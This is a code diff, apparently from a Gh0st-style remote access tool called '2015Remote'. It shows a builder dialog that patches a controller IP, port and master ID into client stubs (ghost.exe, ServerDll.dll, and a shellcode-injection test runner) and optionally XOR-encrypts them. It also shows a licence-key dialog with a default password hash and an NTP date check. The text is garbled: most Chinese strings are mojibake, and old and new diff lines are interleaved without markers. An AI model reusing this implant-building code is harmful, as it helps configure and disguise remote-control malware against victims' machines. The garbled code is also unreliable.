MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룬<EFBFBD><EFBFBD><EFBFBD>±<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
unsigned long flag = index == 0 ? FLAG_FINDEN : FLAG_GHOST;
|
||||
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
|
||||
CONNECT_ADDRESS g_ConnectAddress = { flag, "", 0, index };
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup };
|
||||
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
|
||||
|
||||
if (!g_ConnectAddress.IsValid())
|
||||
if (!g_ConnectAddress.IsValid()) {
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
//<EFBFBD>˴<EFBFBD><EFBFBD>õ<EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>
|
||||
char path[_MAX_PATH], *p = path;
|
||||
// <20><><EFBFBD>±<EFBFBD>ʶ
|
||||
char* ptr = (char*)szBuffer, *end = (char*)szBuffer + dwFileSize;
|
||||
bool bFind = false;
|
||||
int bufSize = dwFileSize;
|
||||
while (ptr < end) {
|
||||
int iOffset = MemoryFind(ptr, (char*)g_ConnectAddress.Flag(), bufSize, g_ConnectAddress.FlagLen());
|
||||
if (iOffset == -1)
|
||||
break;
|
||||
|
||||
CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(ptr + iOffset);
|
||||
auto result = strlen(dst->szBuildDate) ? compareDates(dst->szBuildDate, g_ConnectAddress.szBuildDate) : -1;
|
||||
if (result != -2 && result <= 0)// <20>ͻ<EFBFBD><CDBB>˰汾<CBB0><E6B1BE><EFBFBD>ܲ<EFBFBD><DCB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||
{
|
||||
bFind = true;
|
||||
auto master = GetMasterId();
|
||||
memcpy(ptr + iOffset, &(g_ConnectAddress.ModifyFlag(master.c_str())), sizeof(g_ConnectAddress));
|
||||
}
|
||||
ptr += iOffset + sizeof(g_ConnectAddress);
|
||||
bufSize -= iOffset + sizeof(g_ConnectAddress);
|
||||
}
|
||||
if (!bFind) {
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD><EFBFBD><EFBFBD>ʶ<EFBFBD><EFBFBD>Ϣ!\r\n" + file, "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
return;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
char path[_MAX_PATH], * p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
while ('\\' != *p) --p;
|
||||
strcpy(p+1, file.GetString());
|
||||
strcpy(p + 1, file.GetString());
|
||||
|
||||
strFile = path; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
if (_access(path, 0) == -1)
|
||||
{
|
||||
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
return CDialog::OnOK();
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
File.Open(strFile,CFile::modeRead|CFile::typeBinary);
|
||||
|
||||
dwFileSize=File.GetLength();
|
||||
szBuffer=new BYTE[dwFileSize];
|
||||
ZeroMemory(szBuffer,dwFileSize);
|
||||
//<2F><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
File.Read(szBuffer,dwFileSize);
|
||||
File.Close();
|
||||
//д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6> <20><>Ҫ<EFBFBD><D2AA>Ѱ<EFBFBD><D1B0>0x1234567<36><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶȻ<CAB6><C8BB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.Flag(),dwFileSize,sizeof(DWORD));
|
||||
if (iOffset==-1)
|
||||
{
|
||||
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD>!");
|
||||
return;
|
||||
}
|
||||
if (MemoryFind((char*)szBuffer + iOffset + sizeof(sizeof(g_ConnectAddress)), (char*)&g_ConnectAddress.Flag(),
|
||||
dwFileSize - iOffset - sizeof(sizeof(g_ConnectAddress)), sizeof(DWORD)) != -1) {
|
||||
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
return;
|
||||
}
|
||||
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
|
||||
//<2F><><EFBFBD>浽<EFBFBD>ļ<EFBFBD>
|
||||
if (index == CLIENT_TYPE_MODULE)
|
||||
{
|
||||
strcpy(p + 1, "ClientDemo.dll");
|
||||
}
|
||||
else {
|
||||
strcpy(p + 1, "ClientDemo.exe");
|
||||
}
|
||||
strSeverFile = path;
|
||||
DeleteFileA(path);
|
||||
CString strSeverFile = typ != -1 ? path : file;
|
||||
DeleteFileA(strSeverFile);
|
||||
CFile File;
|
||||
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
|
||||
if (!r) {
|
||||
MessageBox(strSeverFile + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"" + strSeverFile + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!");
|
||||
return CDialog::OnOK();
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!\r\n" + strSeverFile, "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
return;
|
||||
}
|
||||
Encrypt(szBuffer, dwFileSize, m_ComboEncrypt.GetCurSel());
|
||||
File.Write(szBuffer, dwFileSize);
|
||||
File.Close();
|
||||
delete[] szBuffer;
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>!<21>ļ<EFBFBD>λ<EFBFBD><EFBFBD>:\r\n"+ strSeverFile);
|
||||
CString tip = index == IndexTestRun_InjSC ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD>±<EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>6543<34>˿ڡ<CBBF>" :
|
||||
index == IndexTestRun_DLL ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"ServerDll.dll\"<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>" : "";
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
if (index == IndexTestRun_DLL) return;
|
||||
}
|
||||
catch (CMemoryException* e)
|
||||
{
|
||||
MessageBox("<EFBFBD>ڴ治<EFBFBD><EFBFBD>!");
|
||||
char err[100];
|
||||
e->GetErrorMessage(err, sizeof(err));
|
||||
MessageBox("<EFBFBD>ڴ<EFBFBD><EFBFBD>쳣:" + CString(err), "<EFBFBD>쳣", MB_ICONERROR);
|
||||
}
|
||||
catch (CFileException* e)
|
||||
{
|
||||
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
char err[100];
|
||||
e->GetErrorMessage(err, sizeof(err));
|
||||
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>쳣:" + CString(err), "<EFBFBD>쳣", MB_ICONERROR);
|
||||
}
|
||||
catch (CException* e)
|
||||
{
|
||||
MessageBox("δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
char err[100];
|
||||
e->GetErrorMessage(err, sizeof(err));
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>쳣:" + CString(err), "<EFBFBD>쳣", MB_ICONERROR);
|
||||
}
|
||||
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
CDialog::OnOK();
|
||||
}
|
||||
|
||||
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize)
|
||||
{
|
||||
int i,j;
|
||||
if (iKeySize == 0||iBufferSize==0)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
for (i = 0; i < iBufferSize; ++i)
|
||||
{
|
||||
for (j = 0; j < iKeySize; j ++)
|
||||
if (szBuffer[i+j] != Key[j]) break;
|
||||
if (j == iKeySize) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
BOOL CBuildDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
|
||||
m_ComboExe.InsertString(CLIENT_TYPE_DLL, "TestRun.exe");
|
||||
m_ComboExe.InsertString(CLIENT_TYPE_ONE, "ghost.exe");
|
||||
m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll");
|
||||
m_ComboExe.InsertString(IndexTestRun_DLL, "TestRun - <20><><EFBFBD><EFBFBD>DLL");
|
||||
m_ComboExe.InsertString(IndexTestRun_MemDLL, "TestRun - <20>ڴ<EFBFBD>DLL");
|
||||
m_ComboExe.InsertString(IndexTestRun_InjSC, "TestRun - ע<><D7A2><EFBFBD><EFBFBD><EFBFBD>±<EFBFBD>");
|
||||
|
||||
m_ComboExe.InsertString(IndexGhost, "ghost.exe");
|
||||
m_ComboExe.InsertString(IndexServerDll, "ServerDll.dll");
|
||||
m_ComboExe.InsertString(OTHER_ITEM, CString("ѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"));
|
||||
m_ComboExe.SetCurSel(0);
|
||||
|
||||
m_ComboEncrypt.InsertString(0, "<EFBFBD><EFBFBD>");
|
||||
m_ComboEncrypt.InsertString(1, "XOR");
|
||||
m_ComboEncrypt.SetCurSel(0);
|
||||
m_ComboEncrypt.EnableWindow(FALSE);
|
||||
m_ComboBits.InsertString(0, "64λ");
|
||||
m_ComboBits.InsertString(1, "32λ");
|
||||
m_ComboBits.SetCurSel(0);
|
||||
|
||||
m_OtherItem.ShowWindow(SW_HIDE);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
@@ -206,3 +263,55 @@ Buffer CBuildDlg::Encrypt(BYTE* buffer, int len, int method) {
|
||||
}
|
||||
return Buffer();
|
||||
}
|
||||
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboExe()
|
||||
{
|
||||
auto n = m_ComboExe.GetCurSel();
|
||||
if (n == OTHER_ITEM)
|
||||
{
|
||||
CComPtr<IShellFolder> spDesktop;
|
||||
HRESULT hr = SHGetDesktopFolder(&spDesktop);
|
||||
if (FAILED(hr)) {
|
||||
AfxMessageBox("Explorer δ<><CEB4>ȷ<EFBFBD><C8B7>ʼ<EFBFBD><CABC>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>");
|
||||
return;
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
CFileDialog fileDlg(TRUE, _T("dll"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
|
||||
_T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"), AfxGetMainWnd());
|
||||
int ret = 0;
|
||||
try {
|
||||
ret = fileDlg.DoModal();
|
||||
}
|
||||
catch (...) {
|
||||
AfxMessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>");
|
||||
return;
|
||||
}
|
||||
if (ret == IDOK)
|
||||
{
|
||||
CString name = fileDlg.GetPathName();
|
||||
|
||||
m_OtherItem.SetWindowTextA(name);
|
||||
CFile File;
|
||||
BOOL ret = File.Open(name, CFile::modeRead | CFile::typeBinary);
|
||||
if (ret) {
|
||||
int dwFileSize = File.GetLength();
|
||||
LPBYTE szBuffer = new BYTE[dwFileSize];
|
||||
File.Read(szBuffer, dwFileSize);
|
||||
File.Close();
|
||||
m_strIP = "127.0.0.1";
|
||||
m_strPort = "6543";
|
||||
UpdateData(FALSE);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
}
|
||||
}
|
||||
else {
|
||||
m_OtherItem.SetWindowTextA("δѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>");
|
||||
}
|
||||
m_OtherItem.ShowWindow(SW_SHOW);
|
||||
}
|
||||
else {
|
||||
m_OtherItem.SetWindowTextA("");
|
||||
m_OtherItem.ShowWindow(SW_HIDE);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -27,5 +27,8 @@ public:
|
||||
virtual BOOL OnInitDialog();
|
||||
Buffer Encrypt(BYTE* buffer, int len, int method);
|
||||
CComboBox m_ComboExe;
|
||||
CComboBox m_ComboEncrypt;
|
||||
|
||||
afx_msg void OnCbnSelchangeComboExe();
|
||||
CStatic m_OtherItem;
|
||||
CComboBox m_ComboBits;
|
||||
};
|
||||
|
||||
150
server/2015Remote/CPasswordDlg.cpp
Normal file
@@ -0,0 +1,150 @@
|
||||
// CPasswordDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "CPasswordDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "pwd_gen.h"
|
||||
#include "2015Remote.h"
|
||||
|
||||
// CPasswordDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
|
||||
|
||||
// 主控程序唯一标识
|
||||
char g_MasterID[100] = { PWD_HASH256 };
|
||||
|
||||
std::string GetPwdHash(){
|
||||
return g_MasterID;
|
||||
}
|
||||
|
||||
std::string GetMasterId() {
|
||||
static auto id = std::string(g_MasterID).substr(0, 16);
|
||||
return id;
|
||||
}
|
||||
|
||||
CPasswordDlg::CPasswordDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogEx(IDD_DIALOG_PASSWORD, pParent)
|
||||
, m_sDeviceID(_T(""))
|
||||
, m_sPassword(_T(""))
|
||||
{
|
||||
m_hIcon = nullptr;
|
||||
}
|
||||
|
||||
CPasswordDlg::~CPasswordDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CPasswordDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogEx::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT_DEVICEID, m_EditDeviceID);
|
||||
DDX_Control(pDX, IDC_EDIT_DEVICEPWD, m_EditPassword);
|
||||
DDX_Text(pDX, IDC_EDIT_DEVICEID, m_sDeviceID);
|
||||
DDV_MaxChars(pDX, m_sDeviceID, 19);
|
||||
DDX_Text(pDX, IDC_EDIT_DEVICEPWD, m_sPassword);
|
||||
DDV_MaxChars(pDX, m_sPassword, 37);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CPasswordDlg, CDialogEx)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
BOOL CPasswordDlg::OnInitDialog()
|
||||
{
|
||||
CDialogEx::OnInitDialog();
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_PASSWORD));
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
|
||||
// CPasswordDlg 消息处理程序
|
||||
|
||||
IMPLEMENT_DYNAMIC(CPwdGenDlg, CDialogEx)
|
||||
|
||||
CPwdGenDlg::CPwdGenDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogEx(IDD_DIALOG_KEYGEN, pParent)
|
||||
, m_sDeviceID(_T(""))
|
||||
, m_sPassword(_T(""))
|
||||
, m_sUserPwd(_T(""))
|
||||
, m_ExpireTm(COleDateTime::GetCurrentTime())
|
||||
, m_StartTm(COleDateTime::GetCurrentTime())
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CPwdGenDlg::~CPwdGenDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CPwdGenDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogEx::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT_DEVICEID, m_EditDeviceID);
|
||||
DDX_Control(pDX, IDC_EDIT_DEVICEPWD, m_EditPassword);
|
||||
DDX_Control(pDX, IDC_EDIT_USERPWD, m_EditUserPwd);
|
||||
DDX_Text(pDX, IDC_EDIT_DEVICEID, m_sDeviceID);
|
||||
DDV_MaxChars(pDX, m_sDeviceID, 19);
|
||||
DDX_Text(pDX, IDC_EDIT_DEVICEPWD, m_sPassword);
|
||||
DDV_MaxChars(pDX, m_sPassword, 37);
|
||||
DDX_Text(pDX, IDC_EDIT_USERPWD, m_sUserPwd);
|
||||
DDV_MaxChars(pDX, m_sUserPwd, 24);
|
||||
DDX_Control(pDX, IDC_EXPIRE_DATE, m_PwdExpireDate);
|
||||
DDX_DateTimeCtrl(pDX, IDC_EXPIRE_DATE, m_ExpireTm);
|
||||
DDX_Control(pDX, IDC_START_DATE, m_StartDate);
|
||||
DDX_DateTimeCtrl(pDX, IDC_START_DATE, m_StartTm);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CPwdGenDlg, CDialogEx)
|
||||
ON_BN_CLICKED(IDC_BUTTON_GENKEY, &CPwdGenDlg::OnBnClickedButtonGenkey)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
void CPwdGenDlg::OnBnClickedButtonGenkey()
|
||||
{
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
UpdateData(TRUE);
|
||||
if (m_sUserPwd.IsEmpty())return;
|
||||
std::string pwdHash = hashSHA256(m_sUserPwd.GetString());
|
||||
if (pwdHash != GetPwdHash()) {
|
||||
Mprintf("hashSHA256 [%s]: %s\n", m_sUserPwd, pwdHash.c_str());
|
||||
MessageBoxA("您输入的密码不正确,无法生成口令!", "提示", MB_OK | MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
CString strBeginDate = m_StartTm.Format("%Y%m%d");
|
||||
CString strEndDate = m_ExpireTm.Format("%Y%m%d");
|
||||
// 密码形式:20250209 - 20350209: SHA256
|
||||
std::string password = std::string(strBeginDate.GetString()) + " - " + strEndDate.GetBuffer() + ": " + GetPwdHash();
|
||||
std::string finalKey = deriveKey(password, m_sDeviceID.GetString());
|
||||
std::string fixedKey = strBeginDate.GetString() + std::string("-") + strEndDate.GetBuffer() + std::string("-") +
|
||||
getFixedLengthID(finalKey);
|
||||
m_EditPassword.SetWindowTextA(fixedKey.c_str());
|
||||
std::string hardwareID = getHardwareID();
|
||||
std::string hashedID = hashSHA256(hardwareID);
|
||||
std::string deviceID = getFixedLengthID(hashedID);
|
||||
if (deviceID == m_sDeviceID.GetString()) { // 授权的是当前主控程序
|
||||
auto THIS_APP = (CMy2015RemoteApp*)AfxGetApp();
|
||||
auto settings = "settings", pwdKey = "Password";
|
||||
THIS_APP->m_iniFile.SetStr(settings, pwdKey, fixedKey.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
BOOL CPwdGenDlg::OnInitDialog()
|
||||
{
|
||||
CDialogEx::OnInitDialog();
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_PASSWORD));
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
71
server/2015Remote/CPasswordDlg.h
Normal file
@@ -0,0 +1,71 @@
|
||||
#pragma once
|
||||
|
||||
#include <afx.h>
|
||||
#include <afxwin.h>
|
||||
#include "Resource.h"
|
||||
#include "common/commands.h"
|
||||
|
||||
// 密码的哈希值
|
||||
// 提示:请用hashSHA256函数获得密码的哈希值,你应该用自己的密码生成哈希值,并替换这个默认值.
|
||||
#define PWD_HASH256 "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
|
||||
|
||||
// CPasswordDlg 对话框
|
||||
std::string GetPwdHash();
|
||||
|
||||
std::string GetMasterId();
|
||||
|
||||
class CPasswordDlg : public CDialogEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CPasswordDlg)
|
||||
|
||||
public:
|
||||
CPasswordDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CPasswordDlg();
|
||||
|
||||
enum { IDD = IDD_DIALOG_PASSWORD };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
HICON m_hIcon;
|
||||
CEdit m_EditDeviceID;
|
||||
CEdit m_EditPassword;
|
||||
CString m_sDeviceID;
|
||||
CString m_sPassword;
|
||||
virtual BOOL OnInitDialog();
|
||||
};
|
||||
|
||||
|
||||
class CPwdGenDlg : public CDialogEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CPwdGenDlg)
|
||||
|
||||
public:
|
||||
CPwdGenDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CPwdGenDlg();
|
||||
|
||||
enum {
|
||||
IDD = IDD_DIALOG_KEYGEN
|
||||
};
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
HICON m_hIcon;
|
||||
CEdit m_EditDeviceID;
|
||||
CEdit m_EditPassword;
|
||||
CEdit m_EditUserPwd;
|
||||
CString m_sDeviceID;
|
||||
CString m_sPassword;
|
||||
CString m_sUserPwd;
|
||||
afx_msg void OnBnClickedButtonGenkey();
|
||||
CDateTimeCtrl m_PwdExpireDate;
|
||||
COleDateTime m_ExpireTm;
|
||||
CDateTimeCtrl m_StartDate;
|
||||
COleDateTime m_StartTm;
|
||||
virtual BOOL OnInitDialog();
|
||||
};
|
||||
173
server/2015Remote/DateVerify.h
Normal file
@@ -0,0 +1,173 @@
|
||||
#pragma once
|
||||
|
||||
#include <iostream>
|
||||
#include <ctime>
|
||||
#include <WinSock2.h>
|
||||
#include <Windows.h>
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
// <20>й<EFBFBD><D0B9><EFBFBD>½<EFBFBD>Ż<EFBFBD><C5BB><EFBFBD>NTP<54><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
const char* CN_NTP_SERVERS[] = {
|
||||
"ntp.aliyun.com",
|
||||
"time1.aliyun.com",
|
||||
"ntp1.tencent.com",
|
||||
"time.edu.cn",
|
||||
"ntp.tuna.tsinghua.edu.cn",
|
||||
"cn.ntp.org.cn",
|
||||
};
|
||||
const int CN_NTP_COUNT = sizeof(CN_NTP_SERVERS) / sizeof(CN_NTP_SERVERS[0]);
|
||||
const int NTP_PORT = 123;
|
||||
const uint64_t NTP_EPOCH_OFFSET = 2208988800ULL;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
class DateVerify
|
||||
{
|
||||
private:
|
||||
// <20><>ʼ<EFBFBD><CABC>Winsock
|
||||
bool initWinsock() {
|
||||
WSADATA wsaData;
|
||||
return WSAStartup(MAKEWORD(2, 2), &wsaData) == 0;
|
||||
}
|
||||
|
||||
// <20><>ָ<EFBFBD><D6B8>NTP<54><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡʱ<C8A1><CAB1>
|
||||
time_t getTimeFromServer(const char* server) {
|
||||
SOCKET sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (sock == INVALID_SOCKET) return 0;
|
||||
|
||||
sockaddr_in serverAddr{};
|
||||
serverAddr.sin_family = AF_INET;
|
||||
serverAddr.sin_port = htons(NTP_PORT);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
hostent* host = gethostbyname(server);
|
||||
if (!host) {
|
||||
closesocket(sock);
|
||||
return 0;
|
||||
}
|
||||
serverAddr.sin_addr.s_addr = *((unsigned long*)host->h_addr_list[0]);
|
||||
|
||||
// <20><><EFBFBD>ó<EFBFBD>ʱ
|
||||
DWORD timeout = 2000; // 2<>볬ʱ
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout));
|
||||
|
||||
// <><D7BC>NTP<54><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char ntpPacket[48] = { 0 };
|
||||
ntpPacket[0] = 0x1B; // LI=0, VN=3, Mode=3
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (sendto(sock, ntpPacket, sizeof(ntpPacket), 0,
|
||||
(sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||
closesocket(sock);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ
|
||||
if (recv(sock, ntpPacket, sizeof(ntpPacket), 0) <= 0) {
|
||||
closesocket(sock);
|
||||
return 0;
|
||||
}
|
||||
|
||||
closesocket(sock);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>NTPʱ<50><CAB1>
|
||||
uint32_t ntpTime = ntohl(*((uint32_t*)(ntpPacket + 40)));
|
||||
return ntpTime - NTP_EPOCH_OFFSET;
|
||||
}
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨<EFBFBD><E4A3A8><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
time_t getNetworkTimeInChina() {
|
||||
if (!initWinsock()) return 0;
|
||||
|
||||
time_t result = 0;
|
||||
for (int i = 0; i < CN_NTP_COUNT && result == 0; i++) {
